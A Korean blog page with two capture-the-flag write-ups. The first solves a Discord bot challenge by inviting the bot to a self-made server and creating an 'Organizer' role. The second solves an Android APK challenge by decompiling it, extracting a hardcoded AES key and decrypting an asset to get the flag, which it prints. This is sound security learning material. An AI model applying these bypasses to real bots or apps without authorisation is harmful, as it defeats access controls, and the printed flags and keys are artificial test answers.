Note: The music bot (FredBoat) and MicroBot are not part of this challenge. Do not try to exploit them.

 

 

 

 

 

디스코드 봇을 활용한 문제다.

 

!flag 라고 메세지를 보내면 역할 이름을 확인해서 flag를 보내준다.

 

 

내 역할 이름이 Organizer 이어야 하는데 해당 봇이 있는 X-MAS CTF 디스코드 채널에서 내 역할은 아무것도 없다.

 

그래서 해당 채널에서 아무리 !flag를 보내봐야 플래그를 주지 않는다.

 

 

 

flag를 얻는 방법은 간단하다. 내 역할 이름이 Organizer가 되면 된다!

 

디스코드 봇은 client id만 알면 내 서버로 초대를 할 수가 있다.

 

직접 서버를 파서 봇을 초대한 뒤에 역할도 만들어서 !flag를 보내면 봇이 flag를 보내준다.

 

 

 

디스코드 봇 초대링크:

https://discordapp.com/oauth2/authorize?clinet_id=****&scope=bot

 

 

 

client id는 쉽게 구할 수 있다.

 

디스코드 앱에서 > 톱니바퀴 > 디스플레이 > 고급 > 개발자 모드 활성화

 

해당 봇 우클릭 > ID 복사하기

 

 

위 링크에서 ****대신에 id 입력!

 

 

 

 

 

EZ

 

 

 

반응형
반응형

대구정보보안컨퍼런스에서 했던 해킹대회 본선 문제풀이이다.

 

대회를 한지 벌써 1달이 지나가는데.. 풀이를 블로그에 안 올렸었다는 것을 지금 알았다.

 

근데 한 문제 밖에 풀이가 없다 ㅇㅅㅇ

 

게다가 풀이도 간단

 

 

 

 

 

 

 

 

 

팀명: 스틸리언입사예정명단.tar.gz

 

 

 

 

 

 

 

 

 

 

 

안드로이드 apk가 주어진 문제였다.

 

 

푸는 과정은 이러했다. 정석대로 풀면 된다. (오히려 문제 지문 + 힌트로 인해 혼란스러웠었음.)

 

apk파일에서 classes.dex 파일 추출

-> dex2jar을 이용해 jar로 바꾸기

-> jd-gui로 열어서 소스 확인하기

-> 암호화된 파일 찾기

-> 복호화 (AES)

 

 

 

 

 

apk파일을 압축을 풀어보면 classes.dex라는 파일이 있다.

 

해당 파일을 dex2jar을 이용해서 jar로 바꿔준다.

 

바꾼 jar 파일을 jd-gui.exe로 연다.

 

 

 

 

 

 

 

힌트 전부 무시.

 

어떤 작업들을 하는지 확인하기 위해서

 

startService(new Intent(this, RecordManager.class));

 

에 있는 RecordManager.class 로 이동

 

 

 

 

 

filez()함수를 보면 FL46.3gp 가 보이며, 플래그와 연관되어 있는 부분임을 알 수 있다.

 

 

ERROR라는 이름을 가진 파일을 열어서, 바이트를 가져와서, 디코딩을 해서, FL46.3gp에 저장한다.

 

디코딩/복호화에 decodeFile()함수를 사용하였으며, 1번째 인자에 key를 2번째 인자에 바이트 배열이 들어감을 알 수 있고, 암복호화방식은 AES/ECB/PKCS5Padding 를 사용하였음을 확인할 수 있다.

 

따라서 복호화에 사용될 키는 "ABABACADAEAFADAD" 이다.

 

 

 

 

 

복호화에 아래 사이트를 사용했다.

https://www.devglan.com/online-tools/aes-encryption-decryption

 

Online Tool for AES Encryption and Decryption

AES encryption and decryption online tool for free.It is an aes calculator that performs aes encryption and decryption of image, text and .txt file in ECB and CBC mode with 128, 192,256 bit. The output can be base64 or Hex encoded.

www.devglan.com

 

 

 

복호화할 데이터를 base64형태로 받게 했다.

 

 

 

 

 

 

ERROR파일은 apk파일 내에 asset 폴더 안에 있었다.

ERROR파일 내용을 hex값으로 긁어서 아래 사이트에서 base64로 변환했다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

hex란에서 Remove 0x를 체크한뒤에 붙여넣고,  ASCII란에서 Remove spaces로 공백제거

그 다음 base64란에서 값 복사후 복호화 사이트에 붙여넣기.

 

 

 

 

Key란에 ABABACADAEAFADAD 입력.

 

 

복호화.

 

 

base64문자열이 나오게 된다. 이를 다시 위 사이트에서 ascii로 바꿔주면 flag가 나온다.

 

Lifeis4longle55oninhumili7y

반응형

+ Recent posts